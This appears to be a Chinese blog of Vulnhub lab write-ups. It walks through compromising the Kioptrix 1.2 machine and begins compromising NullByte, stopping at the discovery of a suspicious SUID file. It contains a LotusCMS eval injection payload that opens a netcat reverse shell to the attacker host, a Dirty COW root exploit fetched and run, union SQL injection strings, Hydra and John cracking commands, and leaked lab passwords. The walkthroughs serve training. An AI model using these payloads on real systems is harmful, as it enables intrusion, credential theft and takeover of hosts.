|   /cache/: Potentially interesting folder
|   /core/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /modules/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_  /style/: Potentially interesting folder
MAC Address: 00:0C:29:EC:A5:EE (VMware)

1.2 Web信息收集

Web 渗透方面，我先去探测一下目录扫描，在等待结果的同时，去对主页的一些结构和源码进行简单的测试分析。

页面探测

主页

访问网站主目录，像是一个 Blog 的界面，告诉我们他们开发了一个 CMS，然后这个页面是他们用来公布内容的 Blog 上

页面关键信息摘录：

URL：http://192.168.200.156/index.php?page=index
站点名称：Ligoat Security
可见功能入口：首页 / 博客 / 后台登录
LFI 测试无效

实际这里存在一个 SQL 注入，可使用 ' or 1=2 -- - 让页面报错。（当时没测出来，看了 Nmap 才知道）

后台登录页

URL：http://192.168.200.156/index.php?system=Admin
万能密码简单测试无效
关键发现：页面底部版权信息显示 Proudly Powered by: LotusCMS

待跟进（权限立足阶段）：查询 LotusCMS 已知 CVE / 公开 EXP

留言板

页面存在文本输入框，疑似可注入点（update 注入待验证），目前优先级没前几个页面高，没有测试，可以留做备用突破点

URL: http://192.168.200.156/index.php?system=Blog&post=1281005380

目录扫描

工具：Dirsearch

[08:48:19] 403 -  333B  - /.httr-oauth
[08:48:27] 301 -  357B  - /cache  ->  http://192.168.200.156/cache/
[08:48:28] 200 -  688B  - /core/fragments/moduleInfo.phtml
[08:48:28] 301 -  356B  - /core  ->  http://192.168.200.156/core/
[08:48:28] 403 -  326B  - /data
[08:48:28] 403 -  327B  - /data/
[08:48:28] 403 -  338B  - /data/adminer.php
[08:48:28] 403 -  338B  - /data/autosuggest
[08:48:28] 403 -  335B  - /data/backups/
[08:48:28] 403 -  333B  - /data/cache/
[08:48:28] 403 -  333B  - /data/debug/
[08:48:28] 403 -  351B  - /data/DoctrineORMModule/cache/
[08:48:28] 403 -  332B  - /data/logs/
[08:48:28] 403 -  351B  - /data/DoctrineORMModule/Proxy/
[08:48:28] 403 -  333B  - /data/files/
[08:48:28] 403 -  336B  - /data/sessions/
[08:48:28] 403 -  331B  - /data/tmp/
[08:48:30] 200 -   23KB - /favicon.ico
[08:48:31] 301 -  359B  - /gallery  ->  http://192.168.200.156/gallery/
[08:48:35] 301 -  359B  - /modules  ->  http://192.168.200.156/modules/
[08:48:35] 200 -    2KB - /modules/
[08:48:38] 301 -  362B  - /phpmyadmin  ->  http://192.168.200.156/phpmyadmin/
[08:48:39] 401 -  521B  - /phpmyadmin/scripts/setup.php
[08:48:39] 200 -    8KB - /phpmyadmin/
[08:48:39] 200 -    8KB - /phpmyadmin/index.php
[08:48:41] 403 -  335B  - /server-status
[08:48:41] 403 -  336B  - /server-status/
[08:48:43] 301 -  357B  - /style  ->  http://192.168.200.156/style/
[08:48:45] 200 -   18B  - /update.php

人工筛选

=== 状态码 200（高利用价值）
http://192.168.200.156/update.php		# 升级脚本
http://192.168.200.156/phpmyadmin/		# phpMyAdmin 登入界面
http://192.168.200.156/favicon.ico		# 网站图标，可通过计算 Hash 值（如 mmh3）来识别 CMS 或 Web 框架类型

=== 状态码 301/302（重定向）
http://192.168.200.156/phpmyadmin -> http://192.168.200.156/phpmyadmin/
http://192.168.200.156/core -> http://192.168.200.156/core/
http://192.168.200.156/gallery -> http://192.168.200.156/gallery/
http://192.168.200.156/style -> http://192.168.200.156/style/
http://192.168.200.156/cache -> http://192.168.200.156/cache/

2. 权限立足

在登入界面看到提示（Proudly Powered by: LotusCMS）, 结合网站主页底部 @2011 缩小范围，上网搜寻 EXP 和 POC。

2.1 操作过程思维导图

2.2 漏洞情报收集

相关文章链接：

https://nvd.nist.gov/vuln/detail/CVE-2011-0518
https://www.exploit-db.com/exploits/18565
https://www.exploit-db.com/exploits/16982
https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/http/lcms_php_exec

EXP:

https://github.com/murhussain/Mur-Kioptrix-LotusCMS-Exploit
https://github.com/nguyen-ngo/LotusCMS-3.0-RCE-exploit
https://www.exploit-db.com/exploits/15964

2.3 漏洞利用

执行 payload

curl -X POST "http://192.168.200.156/index.php" \
-d "page=index');\${passthru('nc -e /bin/bash 192.168.200.142 4444')};//"

连接反弹 shell

3. 提权

3.1 信息收集

获得 www-data 的反弹 shell 后，提升交互方式：

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 4444                                                
listening on [any] 4444 ...
connect to [192.168.200.142] from (UNKNOWN) [192.168.200.156] 47095

# 提升交互式 Shell
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@Kioptrix3:/home/www/kioptrix3.com$

系统层信息枚举：

www-data@Kioptrix3:/home/www/kioptrix3.com$ whoami
www-data

www-data@Kioptrix3:/home/www/kioptrix3.com$ uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux

有效提权信息列举：

# 列出具有 SUID 权限的用户
www-data@Kioptrix3:/home/www/kioptrix3.com$ find / -perm -u=s -type f 2>/dev/null
<w/kioptrix3.com$ find / -perm -u=s -type f 2>/dev/null                      
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
# ... 省略一些内容，无有效利用信息
/bin/umount
/bin/ping6
/bin/su

# 查看计划任务
www-data@Kioptrix3:/home/www/kioptrix3.com$ cat /etc/crontab
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

3.2 敏感信息泄露（补充枚举）

在着手内核提权前，对 Web 目录的配置文件进行了排查，成功收集到了数据库的高权限凭据：

www-data@Kioptrix3:/home/www/kioptrix3.com$ find . -name "*conf*"
./gallery/gconfig.php
# ...省略部分输出...

www-data@Kioptrix3:/home/www/kioptrix3.com$ cat ./gallery/gconfig.php
# 提取出数据库连接凭据
$GLOBALS["gallarific_mysql_server"] = "localhost";
$GLOBALS["gallarific_mysql_database"] = "gallery";
$GLOBALS["gallarific_mysql_username"] = "root";
$GLOBALS["gallarific_mysql_password"] = "fuckeyou";

同时记录到可能的管理员凭据组合：admin | n0t7t1k4。这些凭据可作为提权失败时的备用横向/纵向移动手段。

3.3 内核漏洞提权

由于在 SUID 权限和计划任务的信息收集上没有找到有效信息，我决定使用内核提权来获得 Root Shell。针对内核 2.6.24，在攻击机搜索可用的漏洞利用代码，锁定目标为 Dirty COW 提权系列。

┌──(kali㉿kali)-[~/vulnhub/Kioptrix1.2]
└─$ searchsploit linux kernel 2.6.24 | grep "Dirty COW"
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Esca | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation  | linux/local/40839.c

踩坑记录：40616.c 编译失败

首先尝试了 40616.c，但在靶机上编译时触发了大量结构体未定义的报错（invalid use of undefined type 'struct stat'）。由于靶机环境过于老旧，缺失必要的头文件依赖，果断放弃该 EXP，换用兼容性更好的 40839.c。

# 无法编译

www-data@Kioptrix3:/tmp$ gcc 40839.c -o exp
gcc 40839.c -o exp
40839.c:193:2: warning: no newline at end of file
/tmp/ccgHdB72.o: In function `generate_password_hash':
40839.c:(.text+0x16): undefined reference to `crypt'
/tmp/ccgHdB72.o: In function `main':
40839.c:(.text+0x4be): undefined reference to `pthread_create'
40839.c:(.text+0x4f4): undefined reference to `pthread_join'
collect2: ld returned 1 exit status

实际操作步骤

1. 攻击机准备与分发

searchsploit -m linux/local/40839.c

python3 -m http.server 8081

2. 靶机下载与编译修复

在靶机 /tmp 目录下载 EXP 并进行编译。注意：直接使用 gcc 会因为缺少线程库和加密库导致链接失败。

www-data@Kioptrix3:/tmp$ wget http://192.168.200.142:8081/40839.c

# 第一次常规编译尝试（失败）
www-data@Kioptrix3:/tmp$ gcc 40839.c -o exp
/tmp/ccgHdB72.o: In function `generate_password_hash': undefined reference to `crypt'
/tmp/ccgHdB72.o: In function `main': undefined reference to `pthread_create'

# 添加必要的库参数进行编译（成功）
www-data@Kioptrix3:/tmp$ gcc -pthread 40839.c -o exp -lcrypt

注：-pthread 用于链接多线程库以触发竞争条件，-lcrypt 用于链接加密库以生成 /etc/passwd 中的密码哈希。

3. 执行利用与权限验证

www-data@Kioptrix3:/tmp$ ./exp
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: [输入自定密码]

Complete line:
firefart:figsoZwws4Zu6:0:0:pwned:/root:/bin/bash

# 切换至覆写产生的特权账户
www-data@Kioptrix3:/tmp$ su firefart
Password: [输入自定密码]

firefart@Kioptrix3:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@Kioptrix3:/tmp# whoami
firefart

至此，Dirty COW 利用成功，成功获取最高系统权限。检查 /etc/shadow 确认系统已被完全接管。

提权路线思维导图

4. 总结

这台靶机整体上我认为是偏简单的，我通过两个 exp 直接拿下。不过对于整个打靶思维来说，我的判断不够明确——我是在看到红笔视频标题里 CMS 那个关键词的一刻，才觉得去利用 exp 获得 Web Shell。在此之前，我一直想通过网站本身的探测去拿下 Web Shell，感觉这方面的思路不太行。

回顾整个打靶过程：

1. 信息收集阶段

首先进行了常规端口扫描、详细信息扫描和漏洞扫描，但漏洞扫描比较慢。同时也对网页主目录进行了探测，发现它可能是一个类似于博客的网站。

2. 漏洞探测阶段

主页看上去存在文件包含或 SQL 注入的可能。这里有一个我没探测出来的点——网站其实是存在 SQL 注入的，但我测试的时候没整出报错。这是我要注意的一个点：' or 1=2 之类的报错方式是我当时没想到的。

同时也进行了目录扫描，扫描到了 phpMyAdmin 的入口。

3. 获取 Web Shell 阶段

通过 exp 拿到了 Web Shell，并通过 Web Shell 登录了 MySQL 数据库（也可以通过扫描到的 phpMyAdmin 登录 MySQL 数据库）。

4. 提权阶段（我的做法 vs 靶场预期做法）

我的做法：直接用 Dirty COW 内核漏洞对 Linux 主机进行提权。
靶场作者预期的做法：拿到 Web Shell 后，对整个配置文件进行查询，最终找到 MySQL 的配置文件。登录数据库后，能发现 3 对密码，然后对这些密码进行破解，尝试是否可以作为 SSH 密码——最终得到一个权限比 www-data 更高的用户，再通过这个用户去进行后续的提权操作。

5. 补充

为什么 gallery 目录有价值

1. 它是一个独立的 CMS 应用

从首页源码里可以看到：

"We've revamped our website for the new release of the new gallery CMS we made"

网站自己说了这是他们开发的 gallery 系统，独立应用 = 独立数据库配置。

2. 任何 Web 应用都需要连接数据库

Gallery 要存图片信息、用户账号，就必须有一个配置文件告诉它：

数据库在哪 / 用户名是什么 / 密码是什么

这个配置文件几乎 100% 存在。

3. 配置文件命名有规律

常见名字就那几个：

config.php
gconfig.php
database.php
db.php
settings.php

开发者习惯性命名，很好猜。

更通用的渗透思维

拿到 Web Shell 之后，找密码的优先级顺序：

1. 数据库配置文件  ← 明文密码，最直接
2. 用户目录下的 .bash_history  ← 可能有人敲过密码
3. /etc/passwd 和 shadow  ← 系统账号
4. 应用的 session / log 文件  ← 可能泄露信息

核心逻辑：开发者为了让程序自动连接数据库，密码必须以明文或可逆方式存在某个文件里。 这是 Web 渗透中最稳定的信息来源之一。

6. 红笔追加操作（新提权方式）

发现 CMS 可以在 CLI 中用 searchsploit 查，这样我觉得会更快一点。

具体的利用文章可以用 Google 和 GitHub 去搜索 <cms> exploit

拿下 Web Shell 后网页后台的看到有用的目录，这里可以去访问这个后台，也就是说 phpMyAdmin 中的密码应该对应的是这个，不是登入也的那个我就说怎么一直登入不进去，回去尝试一下。

试试这个 phpMyAdmin 的密码是不是可以直接登录 SSH 用户的密码.

ssh -o "HostKeyAlgorithms=+ssh-rsa" loneferret@192.168.200.156

6.1 数据库深度挖掘与凭据复用

在 Web 目录发现 gallery 相关的配置文件后，顺藤摸瓜进入 MySQL 数据库，寻找可横向移动的凭据。

数据库枚举：

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema | 
| gallery            | 
| mysql              | 
+--------------------+
3 rows in set (0.00 sec)
mysql> use gallery;
use gallery;
Database changed
mysql> show tables;
show tables;
+----------------------+
| Tables_in_gallery    |
+----------------------+
| dev_accounts         | 
| gallarific_comments  | 
| gallarific_galleries | 
| gallarific_photos    | 
| gallarific_settings  | 
| gallarific_stats     | 
| gallarific_users     | 
+----------------------+
7 rows in set (0.00 sec)

在 dev_accounts 和 gallarific_users 表中成功提取到高价值账户信息：

mysql> select * from dev_accounts;
select * from dev_accounts;
+----+------------+----------------------------------+
| id | username   | password                         |
+----+------------+----------------------------------+
|  1 | dreg       | 0d3eccfb887aabd50f243b3f155c0f85 | 
|  2 | loneferret | 5badcaf789d3d1d09794d8f021f40f0e | 
+----+------------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from gallarific_users;
select * from gallarific_users;
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
| userid | username | password | usertype  | firstname | lastname | email | datejoined | website | issuperuser | photo | joincode |
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
|      1 | admin    | n0t7t1k4 | superuser | Super     | User     |       | 1302628616 |         |           1 |       |          | 
+--------+----------+----------+-----------+-----------+----------+-------+------------+---------+-------------+-------+----------+
1 row in set (0.00 sec)

每一步拿到新的信息之后，都要权衡这个信息的优先级，对比之前操作的优先级，哪一步重要，哪一步不重要。泄露出来的用户和密码在 Web 页面起到了什么作用？还是靶机作者故意留下的一个引入点

密码破解：

starwars (loneferret) Mast3r (dreg)

6.2 SSH 横向移动与环境破局

拿到系统用户的明文密码后，尝试直接通过 SSH 登录系统。

踩坑记录：老旧 SSH 算法不兼容

由于靶机系统极老（Ubuntu 9.04），现代 Kali 的 SSH 客户端默认禁用了不安全的 RSA 密钥算法，直接连接会报错。需要追加 -o "HostKeyAlgorithms=+ssh-rsa" 参数强制放行：

┌──(kali㉿kali)-[~/vulnhub/kioptrix1.2]
└─$ ssh -o "HostKeyAlgorithms=+ssh-rsa" loneferret@192.168.200.165
loneferret@192.168.200.165's password: # 输入 starwars
...
loneferret@Kioptrix3:~$ id
uid=1000(loneferret) gid=100(users) groups=100(users)

成功以 loneferret 身份登入系统，完成横向移动。

6.3 预期提权点：Sudo 配置逻辑漏洞

登入后，在用户家目录下发现了一封极具提示性的“公司内部信件”：

loneferret@Kioptrix3:~$ cat CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO

这封信件几乎是在“明示”靶机作者留下的后门。验证当前用户的 sudo 权限：

loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
    (root) NOPASSWD: !/usr/bin/su      # 靶机作者刻意封堵了直接 su 提权
    (root) NOPASSWD: /usr/local/bin/ht # 留下了无需密码的 ht 编辑器最高权限

提权方向明确：由于 HT 编辑器具有最高权限，可以直接使用 HT 编辑器修改 sudo 权限配置.

6.4 提权操作

1.运行 sudo ht 启动编辑器。

sudo ht

2.编辑 /etc/sudoers 文件，在末尾追加提权规则：

loneferret ALL=(ALL) NOPASSWD: /bin/bash

保存退出后（F2 保存，F10 保存退出），直接生成 Root Shell：

loneferret@Kioptrix3:~$ sudo /bin/bash
root@Kioptrix3:~# whoami
root

至此，完美还原了靶机作者设计的初衷，提权彻底打穿。

7. 漏洞原理分析

7.1 漏洞概述

漏洞名称：LotusCMS 3.0 eval() Remote Code Execution
CVE 编号：CVE-2011-0518
漏洞文件：core/lib/router.php
触发条件：magic_quotes_gpc = Off（PHP 默认配置）
影响版本：LotusCMS 3.0

7.2 漏洞文件源码

漏洞位于 Router 类的构造函数，核心逻辑如下：

public function Router() {
    // 从用户输入取值，无过滤
    $page   = $this->getInputString("page", "index");
    $plugin = $this->getInputString("system", "Page");

    if (file_exists("core/plugs/".$plugin."Starter.php")) {
        include("core/plugs/".$plugin."Starter.php");

        // 漏洞触发点：直接将用户输入拼入字符串后 eval 执行
        eval("new ".$plugin."Starter('".$page."');");
    }
    // ...
}

getInputString() 取值顺序为 GET → POST → Cookie → Session（GPCS），两种传参方式均可触发漏洞。虽然内部调用了 htmlentities()，但参数使用的是 ENT_NOQUOTES，单引号和双引号均不会被转义，这是漏洞能被利用的前提条件之一。

7.3 漏洞根源

漏洞根源在于core/lib/router.php这一行拼接：

eval("new ".$plugin."Starter('".$page."');");

eval() 接收一个字符串参数，将其作为 PHP 代码执行。字符串里可以包含多条用分号分隔的语句，PHP 会逐条全部执行。

当 $plugin 为默认值 Page、$page 为正常值 index 时，eval 收到的字符串是：

new PageStarter('index');

这是合法的 PHP，仅实例化一个对象。

问题在于：$page 的值被直接拼入代码模板，没有任何转义或校验。模板结构如下：

固定部分:   new PageStarter('    ');
用户输入:                    ↑
                          $page 在这里

用户的输入天生被夹在两个单引号之间，看似被"锁住"无法执行代码——但只要能破坏引号结构，就能逃出字符串，注入任意 PHP 语句。

7.4 payload 构造过程

目标：让 eval 执行我们注入的代码，而不只是把它当字符串处理。

以 passthru('id') 为例，逐步推导：

第一步：尝试直接注入

传入 page=passthru('id')，eval 收到：

new PageStarter('passthru('id')');

passthru('id') 在单引号字符串里，只是普通文字，不会执行。

第二步：用 `'` 逃出字符串

传入 page=index'，eval 收到：

new PageStarter('index'');

左边的 ' 与我们注入的 ' 配对，字符串提前结束了。但后面多出一个 ' 和 );，语法报错。

第三步：用 `)` 和 `;` 补全第一条语句

传入 page=index');，eval 收到：

new PageStarter('index');');

第一条语句 new PageStarter('index'); 在语法上完整了。但模板末尾的 '); 还留着，语法仍然错误。

第四步：插入我们的代码

传入 page=index');passthru('id');，eval 收到：

new PageStarter('index');passthru('id');');

现在有两条语句，第二条是我们的命令。但末尾 '); 依然是语法错误。

第五步：用 `//` 注释掉模板残留

传入 page=index');passthru('id');//，eval 收到：

new PageStarter('index');   // 第①条：正常执行
passthru('id');              // 第②条：执行系统命令
//')                         // 模板残留，被注释掉，不执行

// 是 PHP 单行注释符，其后所有内容被忽略。模板多出来的 '); 就此消失，整段代码语法完全合法，两条语句都会被执行。

payload 各字符对照表

字符	作用
`index`	合法页面名，让 PageStarter 正常实例化，不产生报错
`'`	闭合模板中 `Starter('` 的左单引号，逃出字符串
`)`	关闭函数调用的括号
`;`	结束第一条语句
`passthru('id')`	我们注入的代码，执行系统命令
`;`	结束注入语句
`//`	注释掉模板末尾残留的 `');`，防止语法错误

7.5 传参方式

getInputString() 同时支持 GET 和 POST，两者均可触发漏洞。实际利用时推荐 POST：

# GET 方式（参数暴露在 URL，受长度限制）
curl "http://TARGET/lcms/index.php?page=index');passthru('id');//"

# POST 方式（推荐，绕过 URL 长度限制，不记录在 access.log）
curl -s -X POST "http://TARGET/lcms/index.php" \
     --data "page=index');passthru('id');//"

MSF 模块（EDB #18565）选择 POST 方式，原因之一是 payload 超过 4000 字节时 GET 会触发 HTTP 414 错误。

7.6 攻击链总结

用户输入（page 参数）
       ↓
getInputString() 原样取出，ENT_NOQUOTES 不转义引号
       ↓
拼入 eval 模板字符串
       ↓
eval() 将拼接结果当作 PHP 代码执行
       ↓
注入的 passthru() 调用系统命令
       ↓
获得 www-data 权限的命令执行

漏洞的根源是 eval 的不安全拼接，getInputString 的无引号过滤是使其可利用的前提条件。两者缺一不可：如果引号被转义，' 变成 \'，字符串就逃不出去；如果没有 eval，拼接本身不造成危害。

Vulnhub NullByte WriteUp

Tue, 05 May 2026 00:00:00 GMT

前言

靶场介绍：

Vulnhub 的一台靶机，难度 basic to intermediate。对 SQL 注入的利用方式进行多种练习，提权部分学习了 SUID 提权的利用方式。

Nullbyte，涉及 Hydra 表单暴力破解，John md5 哈希暴力破解，手工 SQL 注入数据库信息猜解、SQL 注入数据库写入一句话木马、写入反弹 shell，使用 SQLmap 自动化注入，可谓 SQL 注入技能大赏。提权用具有 SUID 权限的可执行文件，执行我们写入的 shell 的方式实现。

Download: http://ly0n.me/nullbyte/NullByte.ova.zip

涉及工具：

nmap
dirsearch
hydra
sqlmap
exiftool

1.信息收集

1.1 Nmap 信息扫描

端口扫描

80/tcp    open  http
111/tcp   open  rpcbind
777/tcp   open  multiling-http
43104/tcp open  unknown

详细信息

PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Null Byte 00 - level 1
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          43104/tcp   status
|   100024  1          49883/udp   status
|   100024  1          50993/udp6  status
|_  100024  1          55550/tcp6  status
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
|   2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)
|   256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)
|_  256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519)
43104/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:93:78:0C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 26 02:11:14 2026 -- 1 IP address (1 host up) scanned in 13.00 seconds

[!tip] 知识触发详细扫描中发现 111 端口，存在 RPC 服务。此时 TCP 扫描探测到 RPC 后，必须立刻追加 UDP 扫描，因为很多实际挂载的脆弱服务（如 NFS）仅支持或高度依赖 UDP。

UDP 扫描

111/udp   open   rpcbind
777/udp   closed multiling-http
43104/udp closed unknown

1.2 Web 信息收集

页面信息检索

访问 http://192.168.200.147/，页面仅显示一张图片和一句话，表面上没有明显的有用信息。可以查看页面源码，排查是否有遗漏的线索。

页面源码：

<html>
<head><title>Null Byte 00 - level 1</title></head>
<body>
<center>
<img src="main.gif">
<p> If you search for the laws of harmony, you will find knowledge. </p>
</center>  
</body>
</html>

简单排查下来就是一个很正常的页面，一张图片加一句话，没有什么可以利用的点。

目录爆破

命令：

dirsearch -u "http://192.168.200.147" -o dir_147.txt

扫描到可用目录

对目标进行目录扫描，发现了以下可用路径：

301   323B   http://192.168.200.147/javascript/
301   323B   http://192.168.200.147/phpmyadmin/
200     9KB  http://192.168.200.147/phpmyadmin/index.php
200   110B   http://192.168.200.147/uploads/

phpMyAdmin 测试：

访问 /phpmyadmin/index.php，尝试了几组默认凭据，但无法登入。需考虑后续是否进行弱口令爆破或寻找配置文件。

Uploads 目录：

访问 /uploads/ 提示 Directory listing not allowed here.。目前无法直接查看该目录下的文件，可能需要后续结合文件上传漏洞进行利用。

回看首页

爆破的目录中没有尝试到可以获取立足的点，回看首页中的图片，下载图片，去分析一下图片中有没有藏有隐写的信息。

下载图片：

查看隐写信息

exiftool main.gif

隐写内容：

ExifTool Version Number         : 13.25
File Name                       : main.gif
Directory                       : .
File Size                       : 17 kB
File Modification Date/Time     : 2015:08:01 12:39:30-04:00
File Access Date/Time           : 2026:03:26 07:06:13-04:00
File Inode Change Date/Time     : 2026:03:26 07:05:47-04:00
File Permissions                : -rw-rw-r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302
Megapixels                      : 0.071

在 comment 信息中的一段字符引起了我的注意。这串字符有何用途？是 phpmyadmin 的密码？是 ssh 的登入密码？是网页路径？我决定去逐一进行尝试。

Comment : P-): kzMb5nVYJw

新的目录 (/kzMb5nVYJw)

在尝试将其作为 Web 目录路径进行拼接访问时，页面成功响应，这确认了该字符串确实是一个隐藏路径。访问该页面后，发现一个带有 "key" 提示的输入框，似乎需要输入某种密码或密钥。

看页面源码提示有这样一句话

此表单未连接至 MySQL，密码也并不复杂。

手工盲猜了几次常见弱密码均未成功，考虑到提示说密码不复杂，我决定使用 Hydra 配合字典进行暴力破解。

hydra 192.168.200.147 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l ok -P /usr/share/wordlists/rockyou

密码：elite

进入到新的页面

提交表单后页面发生了跳转，去查看当前页面的源码，看看表单指向的地址是哪里：

同样一个页面怎么可以显示两种内容，有其他的方法绕过吗，后续查看源码。

跳转的页面可以直接访问：http://192.168.200.147/kzMb5nVYJw/420search.php。不过这并没有太多影响，可以看出显示了两段用户的信息。

于是退回前一个页面（认证后的搜索页）尝试输入测试字符。这个搜索框很可能存在注入点，接下来我将重点针对此处进行 SQL 注入测试。

2. SQL 注入获取凭证

Union 注入查询

下面是一次非常常见的 union 注入查询，关于详细的 union 查询请看：0x002-union 联合注入

验证是否存在注入点，并尝试探测闭合符号：

?usrtosearch="

测试当前表的列数，并寻找页面上的回显位：

?usrtosearch=" union select 1,2,3 -- -

确定回显位后，开始探测数据库的基础信息，发现当前数据库名为 seth：

?usrtosearch=" union select @@version(),user(),database() -- -

顺藤摸瓜，继续查询表名，发现了 users 表：

?usrtosearch=" union select 1,2,group_concat(table_name) from information_schema.tables 
where table_schema=database() -- -

进一步查询 users 表中的列名，成功获取到 id, user, pass, position 等关键字段：

?usrtosearch=" union select 1,2,group_concat(column_name) from information_schema.columns 
where table_schema=database() and table_name='users' -- -

目标明确，直接构造 payload 开始提取数据（脱库）：

?usrtosearch=" union select 1,2,group_concat(id,'|',user,'|',pass,'|',position,'<br>') from seth.users -- -

梳理得到以下数据。根据之前获取的字段结构可以判断，其中这串较长的字符应该就是该用户的密码

 1|ramses|YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE|  
,2|isis|--not allowed--|employee

破解字符串

base64解码

decode: c6d6bd7ebf806f43c76acc3681703b81

hash-identifier 检查解密出来的字符属性，工具判断出来之前 base64 解密出来的字符属于 md5 值，继续解密

使用 john 爆破...

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash_md5.txt

得到解密出来的密码：

ramses:omega

拿到明文凭据后，尝试使用该用户名和密码通过 SSH 服务登录目标机：

ssh ramses@192.168.200.160 -p 777

登入成功

3.权限提升

尝试查看当前用户的 sudo 权限，系统反馈显示当前用户 ramses 并不在 sudoers 列表中，无法直接通过 sudo 提权。

尝试提权

既然常规路径走不通，我决定转向 SUID 提权思路，搜索系统中配置了 SUID 权限的可执行文件。

find / -perm -u=s -type f 2>/dev/null

参数含义：

find /：从系统最底层的根目录（/）开始地毯式搜索。
-perm -u=s：寻找带有 SUID (Set Owner User ID) 权限的文件。
-type f：只查找普通文件（排除目录、链接等）。
2>/dev/null：将系统报错（比如常见的“Permission denied”权限拒绝提示）直接丢弃。这样你的屏幕上就只会出现成功找到的结果，不会被垃圾信息淹没。

[!tip] 提权的时候为什么要这么做？ 在 Linux 系统中，如果一个程序被设置了 SUID 权限，且它的所有者是 root，那么无论谁运行这个程序，程序在运行的这一瞬间都会“临时借用” root 的最高权限。提权的核心思路就是：找到这些拥有 SUID 的程序，然后想办法让它“不务正业”，去执行我们想要的恶意代码（比如弹出一个 root 权限的 bash shell）。

查询到的内容：

/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/procmail
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/sbin/exim4
/var/www/backup/procwatch
/bin/su
/bin/mount
/bin/umount

为了进一步缩小范围，我尝试搜索属于 ramses 用户组的文件。考虑到 /proc 目录下包含大量动态生成的进程信息，会产生很多干扰项，我使用了反向过滤。

find / -group ramses -type f 2>/dev/null |grep -v '/proc'

查询到的内容：

/sys/fs/cgroup/systemd/user.slice/user-1002.slice/user@1002.service/tasks
/sys/fs/cgroup/systemd/user.slice/user-1002.slice/user@1002.service/cgroup.procs
/home/ramses/.bash_logout
/home/ramses/.bash_history
/home/ramses/.profile
/home/ramses/.bashrc

参数含义：

-group ramses：寻找所属组为 ramses（也就是你当前控制的账户组）的所有文件。
| grep -v '/proc'：你非常聪明地加上了这半句。/proc 目录包含了系统内存和当前运行进程的虚拟信息，不仅对我们提权没啥帮助，还会产生大量无用的输出。grep -v 就是反向过滤，把包含 /proc 的结果全部剔除。

在 SUID 的搜索结果中，我发现了一个非常可疑的路径：/var/www/backup/procwatch。通常情况下，Web 备份目录下不会存放具有 SUID 权限的二进制程序，这极有可能是开发者留下的隐患或提权的突破口。

